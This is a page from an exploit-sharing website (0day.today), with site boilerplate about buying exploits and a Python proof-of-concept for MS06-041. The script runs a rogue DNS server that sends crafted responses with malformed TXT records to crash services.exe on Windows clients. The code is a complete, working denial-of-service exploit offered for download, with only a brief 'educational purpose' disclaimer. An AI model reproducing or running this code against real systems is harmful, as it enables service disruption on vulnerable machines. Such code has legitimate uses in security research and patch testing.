0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MS Windows DNS Resolution Remote Denial of Service PoC (MS06-041)
================================================================= MS Windows DNS Resolution Remote Denial of Service PoC (MS06-041) ================================================================= #!/usr/bin/python #POC for MS06-041 #Run the python script passing the local ip address as parameter. The DNS server #will start listening on this ip address for DNS hostname resolution queries. #This script is for testing and educational purpose and so to test this one will #have to point the DNS resolver on the target/client to the ip address on which #this script runs. #Open up internet explorer and type in a hostname. services.exe will crash. #You may have to repeat this two or three times to see the crash in services.exe # Tested on Windows 2000 server SP0 and SP1 inside VmWare. Could not # reproduce on SP4 though it is also vulnerable. May be I missed something :) # # For testing/educational purpose. Author shall bear no responsibility for any screw ups # Winny Thomas ;-) import sys import struct import socket class DNSserver: def __init__(self, localhost): self.response = '' self.__create_socket(localhost) def __create_socket(self, localhost): self.host = localhost self.port = 53 self.DNSsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.DNSsocket.bind((self.host, self.port)) print 'Awaiting DNS queries' print '====================\n' while 1: self.__await_query() def __await_query(self): self.Query, self.Addr = self.DNSsocket.recvfrom(1024) print 'Query from: ' + str(self.Addr) self.TransactID = self.Query[0:2] self.__find_type(self.Query[2:]) def __find_type(self, Question): qType = struct.unpack('>H', Question[0:2]) if qType[0] == 256: self.__send_response(Question[10:-4]) def __send_response(self, sName): self.response = self.TransactID self.response += '\x85\x80' #Flags self.response += '\x00\x01' #Questions self.response += '\x00\x02' #Answer RR's self.response += '\x00\x01' #Authority RR self.response += '\x00\x00' #Additional RR #QUERIES #self.response += sName self.response += '\x04\x74\x65\x73\x74\x07\x68\x61\x63\x6b\x65' self.response += '\x72\x73\x03\x63\x6f\x6d\x00' self.response += '\x00\xff' #request all records self.response += '\x00\x01' #inet class #ANSWERS #A record self.response += '\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x07' self.response += '\x00\x04\xc0\xa8\x00\x02' #A type record (IP add) #TXT record self.response += '\xc0\x0c\x00\x10\x00\x01\x00\x00\x00\x07' self.response += '\x00\x18' #TXT record length self.response += '\x08\x50\x52\x4f\x54\x4f\x43\x4f\x4c' self.response += '\x00' #Zero length TXT RDATA self.response += '\x00' #Zero length TXT RDATA self.response += '\x08\x50\x52\x4f\x54\x4f\x43\x4f\x4c' self.response += '\x00' #Zero length TXT RDATA self.response += '\x00' #Zero length TXT RDATA self.response += '\x01\x41' #Authoritative Nameservers self.response += '\xc0\x11\x00\x02\x00\x01\x00\x01\x51\x80' self.response += '\x00\x0b\x08\x73\x63\x6f\x72\x70\x69\x6f' self.response += '\x6e\xc0\x11' self.DNSsocket.sendto(self.response, (self.Addr)) if __name__ == '__main__': try: localhost = sys.argv[1] except IndexError: print 'Usage: %s <local ip for listening to DNS request>' % sys.argv[0] sys.exit(-1) D = DNSserver(localhost) # 0day.today [2024-09-28] #